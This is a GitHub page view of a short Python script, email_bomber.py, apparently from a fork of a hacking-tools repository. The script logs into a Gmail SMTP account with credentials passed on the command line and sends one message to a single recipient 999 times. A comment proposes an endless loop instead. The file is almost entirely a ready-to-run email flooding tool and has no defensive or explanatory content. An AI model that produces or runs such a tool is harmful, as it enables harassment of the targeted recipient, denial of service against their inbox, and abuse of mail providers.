forked from Naategh/PyCk
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathemail_bomber.py
More file actions
35 lines (29 loc) · 888 Bytes
/
email_bomber.py
File metadata and controls
35 lines (29 loc) · 888 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
import smtplib
import sys
if len(sys.argv) < 4:
print("Usage:\npython email_bomber.py [email protected] email_pass [email protected] message")
sys.exit(0)
sender = sys.argv[1]
reciver = sys.argv[3]
password = sys.argv[2]
subject = 'test email_bomber script'
header = 'From :{}\n'.format(sender)
header += 'To :{}\n'.format(reciver)
header += 'Subject :{}\n'.format(subject)
message = header + sys.argv[4]
server = smtplib.SMTP(host='smtp.gmail.com',port=587)
server.starttls()
try:
server.login(sender,password)
print(f"Logged in as {sender}")
except:
print("Failed to login...")
sys.exit(0)
for n in range(1,1000): # or you can use from "while true" loop
try:
server.sendmail(from_addr=sender,to_addrs=reciver,msg=message)
print("Sent email {}", n)
except:
print("failed to send email...")
server.quit()